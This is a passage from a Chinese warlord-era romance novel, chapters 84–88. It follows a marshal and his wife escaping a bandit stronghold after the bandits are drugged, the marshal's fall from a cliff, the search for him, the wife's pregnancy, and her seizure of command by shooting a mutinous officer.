**惊醒了部分还没完全迷糊的土匪,但他们刚想站起来,却发现双腿软得像面条,肚子更是翻江倒海,括约肌彻底失控。
屎尿齐流的恶臭味,混合着呕吐物的酸臭,瞬间取代了酒肉香,将这座不可一世的土匪窝变成了人间炼狱。
“药……酒里有药……”
孙美瑶到底是见过大风浪的,虽然神志不清,但还是凭借本能吼了出来,“有人下毒!快……快去看来肉票!”
可惜,他的命令已经没人能执行了。大半个山寨的土匪此刻都在地上打滚,哀嚎遍野。
……
东岩洞,“猪圈”牢房。
负责看守牢房的十几个土匪虽然没去主桌,但也分到了几坛酒。此刻,他们早已烂醉如泥地瘫倒在洞口,裤子湿了一大片,人事不省。
洞内,陆淮锦猛地睁开眼。
那一双眸子在黑暗中亮得惊人,哪里还有半点“肉票”的颓丧?
“动手。”
他低喝一声。
身边的宋副官和几个身体素质最好的警卫员立刻行动。他们早已用藏起来的铁丝和石片磨断了麻绳的一半,此刻猛一发力,“崩”的一声,绳索断裂。
陆淮锦活动了一下僵硬的手腕,捡起地上的一块尖锐石头,像猎豹一样无声地扑向洞口。
守门的土匪还在迷迷糊糊地哼唧,陆淮锦手起石落,狠狠砸在对方的后脑勺上。
“咔嚓。”
那土匪连哼都没哼一声,彻底昏死过去。
陆淮锦迅速从他腰间摸出钥匙,打开了牢门,又拔出了土匪腰间的驳壳枪。
“快!抢枪!”
宋副官带着人冲了出来,迅速解决了剩下的几个看守,将他们的****全部搜刮一空。
“少帅!外面的土匪都倒了!夫人真是神了!”宋副官看着满地打滚的土匪,激动得手都在抖。
“别废话。”
陆淮锦熟练地拉动**,眼神冷酷,“没死的都给我补一枪!这帮畜生留着也是祸害!”
“是!”
“砰!砰!砰!”
原本被关押的“肉票”们,此刻变成了复仇的死神。尤其是那些被土匪折磨过的警卫连士兵,捡起枪就是一顿扫射。
“跟我走!去后山!”
陆淮锦没有恋战,他心心念念的只有一个人。
他提着双枪,踩着满地的污秽和尸体,带着十几名精锐,像一把尖刀,直插后山女牢。
……
后山,二当家石屋。
这里的动静相对较小。
二当家因为“养病”没去喝酒,逃过了一劫。但他此时正被前寨传来的**和惨叫声吓得从床上跳了起来。
“怎么回事?官军打进来了?”
他慌乱地抓起枪,正想出门查看。
“别动。”
一个冰冷的东西抵住了他的后腰。
二当家浑身一僵,慢慢转过头,只见那个刚才还柔柔弱弱给他敷药的“神医姑奶奶”,此刻手里正握着一把不知从哪弄来的锐器,眼神比外面的夜色还要凉。
“姑……姑奶奶……您这是干什么?”
“开门。”
沈晚清的手很稳,刀片紧贴着他的颈动脉,“带我去女牢放人。否则,我就割断你的喉咙。”
“别别别!我带!我带!”
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二当家吓破了胆。他做梦也没想到,这个看似柔弱的女人,狠起来比土匪还吓人。
两人刚走出石屋。
“晚晚!”
一声熟悉而焦急的呼喊穿透了夜色。
沈晚清猛地抬头。
只见火光映照的山道尽头,陆淮锦一身血污,手持双枪,正大步向这边冲来。他身上的衬衫在风中猎猎作响,宛如从地狱归来的修罗战神。
“陆淮锦!”
沈晚清眼眶一热,手中的刀片差点拿不稳。
“小心!”
陆淮锦突然举枪。
“砰!”
一颗**擦着沈晚清的耳边飞过,正中二当家的眉心。
原来,那个二当家趁着沈晚清分神的瞬间,正试图拔枪反击。
二当家瞪大了眼睛,直挺挺地向后倒去,死不瞑目。
下一秒,沈晚清已经落入了一个坚实而滚烫的怀抱。
“对不起,我来晚了。”
陆淮锦紧紧抱着她,力道大得仿佛要将她揉进骨血里。他满身的血腥气,此刻在沈晚清闻来,却是这世上最安心的味道。
“不晚。”
沈晚清抬起头,虽然脸上沾了灰,但眼神亮得惊人,“刚刚好。”
“少帅!孙美瑶带着残部从侧面围过来了!那种药好像对那几个老土匪效果不大!”宋副官在后面大喊。
确实,洋金花虽然厉害,但对于那些没怎么喝酒或者体质极强的土匪头目,药效并未完全致死,他们正在组织最后的反扑。
“来得好。”
陆淮锦松开沈晚清,将一把抢来的**塞进她手里。
“会用吗?”
“会。”沈晚清握紧枪柄,打开保险,“你教过我。”
“那就跟着我,杀出去。”
陆淮锦转过身,面对着从黑暗中涌来的土匪残部,眼中杀机毕露。
“把女牢的门炸开!带上所有人质!”
“目标——天梯!突围!”
火光冲天。
抱犊崮的这个夜晚,注定血流成河。
这对从地狱里爬出来的夫妻,终于汇合,即将开始他们惊心动魄的下山之路。
第84章 绝壁天梯
火把将山顶照得如同白昼,喊杀声震天。
陆淮锦和宋副官带着几十名手持缴获武器的警卫员,护着沈晚清和一众刚被解救的女眷、肉票,一路冲杀到了下山的唯一通道——“天梯”口。
所谓的“天梯”,其实就是一条在悬崖上硬凿出来的、仅容一人通过的之字形石阶。
然而,此时此刻,这条生路已经变成了死路。
“哒哒哒——!”
密集的****打在石阶口,火星四溅。两个冲在最前面的肉票瞬间中弹,惨叫着滚下了万丈深渊。
“退回来!快退回来!”
陆淮锦一把拉回差点被击中的沈晚清,几人狼狈地躲在一块巨石后面。
“少帅!不行啊!”宋副官满脸是血,绝望地喊道,“孙美瑶那个王八蛋**不深!他带着剩下的几十号亲信把天梯口堵**!那是两挺重**,咱们这点人和枪根本冲不过去!”
前有重**封锁,后有中了药正在发疯、见人就砍的几千土匪。
他们被困在了这座孤峰绝顶之上,上天无路,入地无门。
“陆淮锦……”沈晚清紧紧握着手里的枪,手心里全是冷汗,但她没有哭,只是看着他,“我们是不是出不去了?”
陆淮锦没有回答。
他抬头看了看头顶漆黑的夜空,又环视四周险峻的峭壁。寒风呼啸,仿佛死神的低语。
突然,他的目光定格在了后山方向。
“还有一条路。”
陆淮锦的声音沉稳而冷峻,在这种绝境中听起来格外让人安心。
“跟我来!”
……
抱犊崮,后山绝壁。
这是一处连土匪都不敢轻易涉足的禁地。
脚下是深不见底的黑暗深渊,寒风裹挟着山谷底部的湿气向上涌,吹得人站立不稳。只有几棵歪脖子老松树顽强地生长在岩石缝隙里。
“这……这就是路?”
宋副官往下看了一眼,吓得腿都软了,“少帅,这要是掉下去,连骨头渣子都找不到啊!”
“这是采药人走的路。”
陆淮锦走到悬崖边,用脚试了试边缘岩石的结实程度,“我这两天观察过,这里虽然险,但下面两百米处有个突出的平台。只要下到那里,就能绕开前山的封锁线。”
“可是……我们没有绳子啊!”
“有。”
陆淮锦开始解自己身上的衣服,“把所有的衣服、腰带、绑腿都解下来!结成绳子!快!”
在死亡的威胁下,众人的动作出奇地快。很快,一条由各种布料拼接而成、花花绿绿的粗长“绳索”就做好了。
陆淮锦将绳子的一头在一棵最粗的老松树上绕了几圈,用力拽了拽。
“不够结实。”
他摇摇头,松树的根基在岩石里扎得不深,承受不住太多人的重量。
他看了看身后越来越近的喊杀声,孙美瑶的人马马上就要追过来了。
没有时间了。
陆淮锦深吸一口气,做出了一个决定。
他又将绳子紧紧缠绕在自己的左臂上,然后整个人背靠着一块巨大的岩石坐下,双腿蹬住地面,用自己的身体充当了最后一道“保险桩”。
“晚晚,你第一个下。”
他把绳子的另一头递给沈晚清。
沈晚清看着那深不见底的黑暗,本能地感到恐惧。
“别怕。”
陆淮锦用右手握住她冰凉的手,目光坚定而温柔,“看着我的眼睛。把命交给我。我绝不会松手。”
沈晚清看着他。那双眼睛里燃烧着两团火,一团是战火,一团是爱火。
她点了点头,不再犹豫。
她抓紧绳子,背过身,小心翼翼地滑下了悬崖边缘。
“慢点……蹬住崖壁……”
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>陆淮锦咬紧牙关,左臂承受着巨大的拉力,肌肉紧绷到颤抖。绳索勒进肉里,磨破了皮肤,渗出血来。
但他纹丝不动,就像一座沉默的山岳。
风在耳边呼啸,沈晚清在黑暗中缓慢下降。她不敢往下看,只能死死盯着上方那个模糊的身影,那是她在这世上唯一的依靠。
终于,脚下踩到了实地。
“我到了!”沈晚清解开绳子,冲上面喊道。
陆淮锦松了一口气。
“下一个!快!”
女眷、肉票、受伤的士兵……一个个接着滑了下去。陆淮锦的手臂已经麻木了,血顺着指尖滴落在岩石上。
“少帅!您快下吧!我来顶着!”宋副官急红了眼。
“少废话!你带着夫人先走!这是命令!”
“姓陆的!哪里跑!”
就在最后几个人还在绳索上时,孙美瑶带着人气急败坏地追了上来。
“砰!砰!砰!”
**打在陆淮锦身边的岩石上,碎石飞溅。
“宋虎!下去!”陆淮锦一脚将宋副官踹到悬崖边缘,然后拔出双枪,独自一人挡在了悬崖边上。
“孙美瑶,你的对手是我。”
陆淮锦站在狂风中,衣衫褴褛,满身血污,却依然狂傲如初。他用身体挡住了身后那条唯一的生路。
“想抓我?那就看你有没有这个本事了!”
他抬起枪,对着冲上来的土匪扣动了**。
枪火在黑暗中闪烁,映照着他决绝的脸庞。
悬崖下方的平台上,沈晚清抬起头,看着上方那激烈的交火声和不断闪烁的火光,心如刀绞。
她知道,他在为她争取时间。
他在用命,换她的生路。
“陆淮锦……”
她紧紧握着拳头,指甲掐进肉里,泪水无声滑落。
一定要活着回来。
求你。
第85章 生死决战
狂风如鬼哭狼嚎,卷起崖顶的枯草和血腥气,直冲云霄。
“咔哒。”
陆淮锦扣动**,却只听到一声空仓挂机的脆响。
没**了。
他随手扔掉那两把发烫的空枪,从腰间拔出一把在之前的混战中抢来的短刀。他的左臂因为长时间充当“**桩”拉拽绳索,此时早已皮开肉绽,鲜血淋漓,但他仿佛感觉不到疼痛,依然像一尊染血的战神,死死守在悬崖边的那棵老松树旁。
在他面前,孙美瑶带着二十几个红了眼的亡命徒,正呈扇形包围过来。
“陆少帅,没**了吧?”
孙美瑶手里提着一把还在滴血的大**,脸上满是狰狞的杀意,“你倒是再狂啊!断了老子的财路,放跑了老子的肉票,今天你要是不死,我孙美瑶三个字倒着写!”
“那就来试试。”
陆淮锦单手持刀,脊背微弓,那是猛兽扑食前的姿态。
“上!给我剁了他!”
孙美瑶一声令下。
几个心腹喽啰嘶吼着冲了上来。
“噗嗤!”
陆淮锦身形一闪,避开迎面劈来的一刀,反手一刺,短刀精准地扎进了第一个土匪的心窝。紧接着他顺势一脚,将尸体踹向后面的人,借力腾空,膝盖狠狠撞碎了第二个土匪的下巴。
动作行云流水,狠辣致命。
但这毕竟是血肉之躯。
“嘶——”
混乱中,一柄长刀刺中了他的侧腰。
陆淮锦闷哼一声,反手抓住长刀,猛地一拽,将那个偷袭的土匪拽到悬崖边,一脚踢了下去。
“啊——!!”
惨叫声在深渊中回荡,让人毛骨悚然。
“废物!都是废物!”
孙美瑶见久攻不下,彻底急了。他看了一眼悬崖边那根还在晃动的绳索,眼中闪过一丝毒辣。
“别管他!去砍绳子!或者是顺着绳子爬下去!那个女人肯定还在下面!”
这一招,直击陆淮锦的死穴。
一旦土匪顺着绳子下去,还在半空或者刚落地的沈晚清必死无疑;而如果他们砍断绳子,还没到底的人也会摔死。
“你敢!”
陆淮锦暴怒,眼底瞬间充血。
他不再防守,而是像疯了一样主动冲进了人群。他不顾砍在身上的刀斧,拼着以伤换伤,硬生生杀出一条血路,挡在了那棵老松树前。
“铛!”
他用短刀架住了孙美瑶劈向绳索的大**,火星四溅。
“想动她?除非从我尸体上跨过去!”
陆淮锦嘶吼着,一头撞在孙美瑶的鼻梁上。
孙美瑶惨叫一声,鼻血狂喷,整个人向后踉跄了几步。
但陆淮锦也到了**之末。他的身上至少有七八处刀伤,鲜血染红了整件衬衫,视线也开始因为失血过多而变得模糊。
“**吧!”
孙美瑶抹了一把脸上的血,面目狰狞地再次扑了上来。这一次,他没有用刀,而是仗着体型优势,直接抱住了陆淮锦的腰,两人扭打着滚向了悬崖边缘。
碎石滚落,深渊就在脚下张开了大口。
……
悬崖下方,突出的石台上。
宋副官刚刚落地,还没来得及解开腰间的绳索。
“少帅!少帅还没下来!”宋副官仰着头,看着上方不断掉落的碎石和那令人心惊肉跳的厮杀声,急得眼泪直流。
沈晚清死死抓着那根从上面垂下来的、染着陆淮锦鲜血的布绳。
那绳子绷得笔直,每一次颤动,都像是勒在她的心上。
“陆淮锦!下来啊!快下来!”
她冲着上面大喊,声音在风中破碎。
就在这时,上方的打斗声突然变得异常激烈。
紧接着。
“崩——”
一声沉闷的断裂声响起。
沈晚清手中的绳索突然一松,整根绳子像死蛇一样软绵绵地滑落下来。
绳子……断了?
是陆淮锦砍断的。
因为他知道,自己已经走不了了。为了防止土匪顺着绳子追下来伤害她,他在
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最后的时刻,亲手斩断了这条唯一的通道,也斩断了自己的生路。
“不!!!”
沈晚清发出一声撕心裂肺的尖叫。
她猛地扑向悬崖边缘,抬头望去。
借着山顶透下来的微弱火光,她看到了令她此生最绝望的一幕——
在悬崖的边缘,两个纠缠在一起的身影,同时失去了平衡。
陆淮锦死死扣住孙美瑶的喉咙,在坠落的前一秒,他似乎感应到了她的目光。他侧过头,看向深渊下方的黑暗。
那一瞬间,他的脸上没有恐惧,只有一种解脱后的温柔。
那是他在对她说:
活下去。
“呼——”
两人如同断线的风筝,带着无尽的黑暗与风声,从数百米高的悬崖上坠落。
他们擦着沈晚清所在的平台飞过,坠入了下方更深、更黑的万丈深渊。
“咚……”
许久之后,深渊底部传来一声极其微弱的闷响。
然后,是一片死寂。
只有风还在呼啸,像是无数冤魂在哭泣。
“陆淮锦——!!!”
沈晚清跪在悬崖边,双手死死抓着冰冷的岩石,指甲崩断,鲜血淋漓。
她想要跳下去,想要去追他。
“少夫人!别冲动!别冲动啊!”
宋副官和几个警卫员冲上来,死死抱住她的腰,将她按在地上,“少帅是用命换咱们出来的!您不能跳啊!您要是**,少帅就白**!”
“放开我!我要去找他!他没死!他肯定没死!”
沈晚清疯狂地挣扎着,哭喊着,像是一只失去了伴侣的孤雁。她的嗓子喊哑了,眼泪流干了,直到最后精疲力竭,昏死在宋副官的怀里。
头顶上,土匪的叫骂声还在继续,但他们下不来,只能对着下面乱开枪泄愤。
抱犊崮的这个夜晚,星光黯淡。
一代枭雄陆少帅,为了救妻,与匪首同归于尽,坠落深渊。
这一战,惨烈至极。
这一别,生死茫茫。
第86章 深渊寻夫
这里是距离抱犊崮最近的一个猎户村落。三天前,宋副官带着幸存的警卫连和沈晚清,在付出惨痛代价后,终于摆脱了山上残匪的纠缠,撤到了这里与前来接应的阿福汇合。
一间简陋的茅草屋里。
沈晚清猛地睁开眼,从噩梦中惊醒。
“陆淮锦!”
她大喊一声,下意识地伸手去抓,却只抓到了一团虚无的空气。
没有悬崖,没有鲜血,只有陌生的房梁和满屋子刺鼻的中药味。
“东家!您醒了!”
一直守在床边的阿福惊喜地凑过来,眼圈红肿,“您都昏睡了两天两夜了,吓死我了……”
沈晚清愣了半秒,随即掀开被子就要下床。她的动作太猛,导致一阵剧烈的眩晕袭来,差点栽倒在地。
“东家!您别动!您身上还有伤!”阿福连忙扶住她。
“他在哪?”
沈晚清一把抓住阿福的手腕,力道大得吓人,眼神却空洞得可怕,“陆淮锦呢?他在哪?”
阿福张了张嘴,眼泪吧嗒吧嗒往下掉,却不敢说话。
这时,门帘被掀开。
宋副官走了进来。这个曾经意气风发的汉子,此刻满脸胡茬,眼窝深陷,左臂还吊着绷带。他看到沈晚清醒了,眼中闪过一丝欣慰,但更多的是沉痛。
“少夫人……”
“我问你他在哪!”
沈晚清推开阿福,踉跄着冲到宋副官面前,死死盯着他的眼睛,“带我去见他!现在!”
宋副官低下头,不敢看她的眼睛,声音沙哑:
“少夫人,我们……我们在山下搜寻了两天……”
“怎么样?”
“没找到少帅。”
宋副官噗通一声跪在地上,泣不成声,“少帅……少帅活不见人,死不见尸……”
“没找到?”
沈晚清的身体晃了晃,随即眼中爆发出一种近乎疯狂的光亮。
“没找到就是没死!”
她转身就往外冲,“他在等我!他一定在某个地方等我!我要去找他!”
“少夫人!您不能去!”
宋副官拦在门口,“谷底全是狼,还有瘴气!您身体虚弱,去了也是送死!少帅是用命换您出来的,您要是……”
“滚开!”
沈晚清从腰间拔出那把陆淮锦留给她的指挥刀,“唰”的一声抽刀出鞘,刀尖直指宋副官的胸口。
“宋虎,我以陆家少夫人的身份命令你,让开。”
她的声音冰冷彻骨,不再有丝毫的柔弱,只有一种令人心悸的决绝,“要么带我去谷底,要么我死在你面前。你自己选。”
宋副官看着眼前这个仿佛变了个人的少夫人,终于红着眼点了点头。
“是!属下……这就带路!”
……
抱犊崮,后山谷底。
这里是阳光照不到的深渊。古木参天,藤蔓缠绕,空气中弥漫着腐烂树叶和野兽粪便的味道。
一支由警卫员和当地猎户组成的搜救队,正在艰难地行进。
沈晚清走在最前面。她穿着一身不合身的粗布男装,手里拿着一根木棍当拐杖,不顾荆棘划破脸颊,不顾泥泞没过脚踝,像个不知疲倦的机器,搜寻着每一寸土地。
“少帅!陆淮锦!”
她的嗓子已经喊哑了,每一声呼唤都在空旷的山谷里回荡,却只有风声回应。
“少夫人,这边!”
一名猎户突然在一处乱石堆旁喊道。
沈晚清疯了一样冲过去。
乱石堆中,一具血肉模糊的尸体横陈在那里。那是孙美瑶。他从几百米高的地方摔下来,直接砸在了石头上,早已面目全非,只有那身标志性的土匪皮袄还能辨认出来。
**。
那个不可一世的土匪头子,终于得到了报应。
“陆淮锦呢?他在哪?”
沈晚清在尸体周围疯狂地翻找,搬开一块块沉重的石头,指尖被磨烂了也毫无知觉。
没有。
除了孙美瑶,这里再没有第二具尸体。
“少夫人!您看那里!”
宋副官指着不远处的一棵挂在悬崖半腰的歪脖子老松树。
那棵树的树枝折断了一大半,显然是承受了巨大的冲击力。而在树下的一条湍急的溪流边,挂着一缕……染血的布条。
沈晚清扑过去,颤抖着手取下那块布条。
那是上好的白色丝绸衬衫的料子,上面还带着那颗独特的、刻着“陆”字的金纽扣。
那是她大婚那
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天,亲手给他穿上的衬衫。
“是他……是他的……”
沈晚清将那块布条紧紧贴在胸口,眼泪终于决堤。
“看样子,少帅坠落的时候,应该是先撞到了那棵树,有了缓冲,然后掉进了这条河里……”
猎户经验丰富地分析道,“这条河叫‘黑龙潭’,水很深,而且暗流很多,通往几十里外的下游……”
“掉进河里了?”
宋副官眼睛一亮,“那就是说,少帅可能没死?可能被水冲走了?”
虽然从这么高的地方掉下来,就算有树和水缓冲,生还的几率也微乎其微。但在这种绝望的时刻,这哪怕万分之一的可能性,也足以成为救命的稻草。
沈晚清死死盯着那条奔流不息的河水。
没有尸体。
那就是最好的消息。
“找!”
沈晚清站起身,将那块布条小心翼翼地收进怀里,眼神重新变得坚毅如铁。
“顺着这条河,往下游找!一里找不到就找十里,十里找不到就找百里!”
“哪怕把这条河的水抽干,我也要找到他!”
“阿福!”
“在!”
“传信回海城,让济世堂发动所有关系,悬赏十万大洋!谁能提供少帅的线索,赏金就是他的!谁能把人给我送回来,我沈晚清这辈子的命都是他的!”
“是!”
这一天,搜救队顺着河流找了整整三十里。
这一天,沈晚清没有吃一口饭,没有喝一口水。
直到夜幕降临,手电筒的光芒在河面上交织。
虽然依旧没有找到陆淮锦的身影,但沈晚清的心里,那团死灰已经复燃成了燎原之火。
只要没看到尸体,她就不信他**。
那个说过要陪她一生一世的男人,那个把命都交给她的男人,绝不会就这样食言。
“陆淮锦,你若是敢躲着不见我……”
沈晚清对着漆黑的河面,轻声呢喃,声音里带着令人心碎的执着:
“我就把这天下翻个底朝天,也要把你挖出来。”
夜风呜咽。
这场深渊寻夫的旅程,注定漫长而艰难。
但对于沈晚清来说,只要有希望,地狱亦是人间。
第87章 北城告急
搜救已经进行了整整五天。
这五天里,沈晚清像是疯了一样,带着人几乎把黑龙潭下游翻了个底朝天。她的眼睛熬得通红,脸上满是划痕,那双曾经握手术刀的手,如今布满了泥土和血泡。
但结果,依旧是让人绝望的——无。
没有尸体,也没有活人。陆淮锦就像是彻底融化在了那条冰冷的河水里。
“东家,喝口粥吧。”
阿福端着一碗热粥走进来,看着坐在地图前发呆的沈晚清,心疼得直掉泪,“您都一天没吃东西了,铁打的身子也熬不住啊。”
沈晚清摇摇头,目光死死盯着地图上标注的每一个搜索点。
“再往下游找二十里。”
她的声音沙哑得像被砂纸磨过,“我不信他会死。他答应过我的。”
就在这时,帐篷帘子被猛地掀开。
宋副官跌跌撞撞地冲了进来,手里捏着一张皱巴巴的电报纸,脸色惨白如纸,甚至比那天在悬崖上还要绝望。
“少夫人……出事了!北城……出大事了!”
沈晚清心头一跳,猛地站起身:“怎么了?”
“消息……走漏了。”
宋副官颤抖着把电报递给她,“不知道是谁把少帅失踪的消息传回了北城。现在整个北六省都乱了套了!”
沈晚清接过电报,只见上面只有寥寥数语,却字字惊心:
【淮锦失踪,军心大乱。直系吴大帅集结五万兵马逼近边界;日本人策动内部叛变。大帅急火攻心,突发中风,昏迷不醒。帅府危在旦夕,速归主持大局!】
“大帅……中风了?”
沈晚清眼前一黑,感觉天旋地转。
陆淮锦生死未卜,陆大帅又倒下了。这不仅仅是家里的顶梁柱塌了,这是整个北六省的天都要塌了!
“少夫人!”
宋副官噗通一声跪在地上,“现在的北城,群龙无首!底下的几个师长已经开始拥兵自重,还有日本人从中作梗……若是没人回去镇场子,少帅打下的这份基业,就要被人瓜分了啊!”
“可是……”
沈晚清回头看向帐篷外那连绵的群山,看向那条吞噬了她爱人的河流。
现在回去,就意味着要放弃搜救。
意味着要把陆淮锦一个人孤零零地留在这冰冷的荒野里。
“我不走……”
沈晚清紧紧抓着地图,指节泛白,眼泪在眼眶里打转,“我不能丢下他……万一他受伤了,正等着我去救他呢?”
“少夫人!”
宋副官急得磕头,额头都磕出了血,“少帅是为了救您才……如果他还在,他一定不希望看到陆家军毁于一旦!那是他的心血,是他的命啊!”
巨大的悲痛和压力袭来。
沈晚清只觉得胸口一阵气血翻涌,胃里突然泛起一股强烈的恶心感。
“呕——”
她捂着胸口,干呕了一声,紧接着眼前一黑,整个人软绵绵地向后倒去。
“东家!”“少夫人!”
……
半个时辰后。
帐篷里弥漫着一股淡淡的艾草香。
济世堂的一位老中医收回了搭在沈晚清手腕上的手指,脸上的表情既震惊又复杂。
“怎么样?”宋副官焦急地问,“少夫人是累着了吗?”
老中医站起身,对着刚醒过来的沈晚清深深一揖:
“恭喜少夫人,贺喜少夫人。”
“喜?”宋副官愣住了,“这个时候哪来的喜?”
“这是……喜脉。”
老中医压低声音,“少夫人已有两个月的身孕了。只是最近劳累过度,加上急火攻心,这才动了胎气。万幸底子好,只要好生休养,母子平安。”
怀孕。
这两个字像是一道惊雷,在沈晚清的耳边炸响。
她下意识地把手放在自己平坦的小腹上。
两个月……
那是在北城,那个大雪纷飞的冬夜?还是大婚那晚的红烛高烧?
“我有孩子了……”
沈晚清喃喃自语,眼泪终于毫无顾忌地流了下来。
这是陆淮锦的
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孩子。
是他留在这个世上唯一的骨血。
“少帅有后了!陆家有后了!”宋副官激动得嚎啕大哭,又哭又笑,“老天爷开眼啊!少帅没绝后啊!”
沈晚清抚摸着肚子,感受着那个还未成形的小生命。
那一刻,她原本破碎的心,仿佛被注入了一股前所未有的力量。
为了这个孩子,为了陆淮锦的基业,她不能倒下。
她必须站起来,比任何时候都要坚强。
“宋虎。”
沈晚清擦干眼泪,眼神中的迷茫与脆弱瞬间消散,取而代之的是一种令人胆寒的坚定与威严。
“在!”宋副官立刻立正。
“传我的命令。”
沈晚清从床上坐起来,虽然脸色苍白,但气场全开:
“第一,**息。对外宣称少帅只是受了轻伤,正在秘密疗伤。谁敢乱嚼舌根,军法处置!”
“第二,阿福留下。”她看向阿福,“你带着济世堂的人和一百名警卫员,继续在这里找!活要见人,死要见尸!找不到,就别回来见我!”
“第三……”
沈晚清站起身,拿过挂在架子上陆淮锦留下的那件染血的大衣,披在自己身上。
那宽大的大衣罩住了她单薄的身躯,却赋予了她一种统帅的气质。
“备车。回北城。”
“少夫人,您现在的身体……”宋副官有些担心。
“我没事。”
沈晚清摸了摸肚子,目光望向北方,眼中燃烧着复仇与守护的火焰:
“我的孩子,必须生在帅府,生在万人中央。”
“那些想趁火**的人,想动陆家基业的人……”
她冷笑一声,拔出腰间的**,狠狠拍在桌上:
“我沈晚清,回去陪他们好好玩玩!”
“既然少帅不在,那这把枪,我来替他扛!”
风起云涌。
这一日,沈晚清带着身孕,带着半支残军,离开了猎户村落。
她把爱人留在了深渊,把柔情埋进了心底。
第88章 铁腕**
此时的帅府,空气凝重得仿佛能滴出水来。
聚义堂内,并没有往日的肃穆,反而像个乱糟糟的菜市场。烟雾缭绕,茶杯摔碎的声音此起彼伏。
陆大帅中风昏迷,正如同一座大山轰然倒塌。
而原本应该镇守四方的几位师长、旅长,此刻却齐聚一堂。他们看似是来探病,实则是来——分家产。
“老夫人!您给句痛快话!”
一个满脸横肉、腰里别着两把驳壳枪的中年军官一脚踩在椅子上,唾沫横飞,“现在大帅倒了,少帅在山东也没了音讯。这北六省不能一日无主啊!”
他是陆家军第三师的师长赵大炮,手握重兵,也是这群人里闹得最欢的刺头。
“是啊!现在外面直系吴大帅的兵都快压到边境了!咱们得赶紧选个带头大哥出来!”
“我看赵师长资历最老,不如让赵师长先代管帅印!”
底下的几个参谋和团长跟着起哄。
坐在主位旁侧的陆老夫人赵氏,此刻脸色苍白,手里捻着佛珠,浑身都在发抖。她一个后宅妇人,哪里见过这种阵仗?
“这……这帅印是陆家的……”老夫人颤巍巍地说道,“就算大帅病了,淮锦不在,也轮不到……”
“轮不到谁?”
赵师长冷笑一声,拔出腰间的枪,“啪”地拍在桌上,“老嫂子,时代变了!陆淮锦掉进万丈深渊,骨头渣子都没了!陆家绝后了!难道让我们几万弟兄听你一个老娘们的?”
“你……你放肆!”老夫人气得捂住胸口,差点晕过去。
“我就是放肆了怎么着?”
赵师长环视四周,眼中凶光毕露,“今天这帅印,交也得交,不交也得交!否则,别怪我赵某人手里的枪不认人!”
“好大的威风啊,赵师长。”
就在这剑拔**张、帅府即将易主的千钧一发之际。
一道清冷、沉稳,却透着彻骨寒意的女声,穿透了层层喧嚣,在大厅门口骤然炸响。
所有人的目光齐刷刷地看向门口。
只见两扇厚重的雕花大门被人缓缓推开。
外面的天色阴沉,寒风卷着落叶涌入大厅。
在宋副官和两排荷枪实弹的精锐警卫员的簇护下,沈晚清一步步走了进来。
她身上披着陆淮锦那件染着硝烟味的黑色大衣,宽大的衣摆随着她的步伐猎猎作响。她的头发一丝不苟地盘在脑后,露出一张苍白却冷艳绝伦的脸。
虽然她是个女子,虽然她身形单薄,但此刻,她身上的气场,竟然像极了那个不可一世的陆少帅。
“少……少夫人?”
赵师长愣了一下,随即眼底闪过一丝轻蔑,“哟,这不是刚过门的少奶奶吗?听说你在山东捡了条命回来?不在后院哭丧,跑这儿来干什么?”
“哭丧?”
沈晚清走到大厅中央,目光如刀,一一扫过在场的每一个人。
“少帅只是受了重伤,正在秘密休养。谁告诉你们他**?”
“受了重伤?”
赵师长哈哈大笑,“别装了!山东那边都传遍了!要是没死,怎么不回来?弟兄们,你们信吗?”
“不信!”
“少拿这种鬼话糊弄我们!”
底下的亲信们跟着起哄。
沈晚清看着这群见风使舵的墙头草,嘴角勾起一抹冷酷的弧度。
她没有再解释,而是径直走到主位——那个原本属于陆淮锦的位置前。
她转身,面对众人。
“哐当!”
一把寒光闪闪的指挥刀被她重重地拍在桌案上。
那是陆淮锦的佩刀。见刀如见帅。
“少帅临行前有令:若他不在,帅府大小事务,由我全权裁决。”
沈晚清的手按在刀柄上,声音拔高,响彻大厅:
“我沈晚清还在,陆家就没绝后!”
“笑话!”
赵师长嗤之以鼻,“你一个外姓女人,拿着把破刀就想发号施令?还要掌管我们几万大军?你凭什么?”
“凭这个。”
沈晚清深吸一口气,左手缓缓抚上自己依然平坦的小腹。
她的眼神变得无比柔和,却又无比坚定:
“凭我肚子里,怀着陆淮锦的骨肉。凭这是陆家唯一的嫡孙,是北六省未来的少帅!”
轰——!
这句话,像是一颗重磅**,瞬间把在场的所有人都炸懵了。
怀孕了?!
陆家有后了?!
原本还跟着起哄的几个老部下,脸色瞬间变了。在这个讲究血统和传承的年代,有了子嗣,那就意味着陆家的香火没断,意味着这面大旗还没倒!
就连老夫人赵氏也猛地睁开眼,激动得老泪纵横:“晚清……你是说……你有了淮锦的孩子?”
“是。”沈晚清点头。
局势瞬间逆转。
赵师长看着周围那些动摇的眼神,心中暗道不好。若是让这女人坐稳了位置,等陆大帅醒来或者孩子生下来,他就彻底没戏了。
一不做,二不休!
“放屁!”
赵师长恶向胆边生,猛地举起枪指着沈晚清,“谁知道你肚子里是不是个野种!想拿个肚子来压老子?做梦!弟兄们,给我把这个妖言惑众的女人抓起来!”
“我看谁敢!”宋副官带着警卫连瞬间举枪,双方对峙。
“赵大炮,你想**?”
面对黑洞洞的枪口,沈晚清连眼皮都没眨一下。
她不仅没有后退,反而迎着枪口,一步步走向赵师长。
“陆家军的军规第一条是什么?背主求荣者,杀无赦。”
“你……你别过来!”赵师长被她那视死如归的气势逼得心里发毛,“再过来我
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开枪了!”
“你开啊。”
沈晚清走到他面前,指着自己的额头,声音冷得像是地狱里的修罗:
“你这一枪下去,杀的不仅是我,还有陆家的少主。你猜猜,城外那三万忠于少帅的陆家军,会不会把你剁成肉泥?”
赵师长握枪的手开始发抖,冷汗顺着额头流下来。
他不敢。
他真的不敢。
就在他心理防线崩溃、眼神游移的那一刹那。
“砰!”
一声清脆的枪响。
不是赵师长开的枪。
而是沈晚清。
她以极快的手法从大衣口袋里掏出那把勃朗宁,动作快得像个老手,毫不犹豫地扣动了**。
**精准地穿透了赵师长的手腕。
“啊——!”
赵师长惨叫一声,手里的枪掉在地上。
“砰!”
第二枪。
正中眉心。
惨叫声戛然而止。赵师长瞪大了眼睛,直挺挺地向后倒去,死不瞑目。
全场死寂。
所有人都被这雷霆一击吓傻了。
谁也没想到,这个平日里看着柔柔弱弱的少夫人,杀起人来竟然如此果断,如此狠辣,连眼睛都不眨一下。
沈晚清吹了**口的青烟。
她的手其实在微微颤抖,但她强迫自己站得笔直。因为她知道,现在她是陆家的天,她不能塌。
“还有谁?”
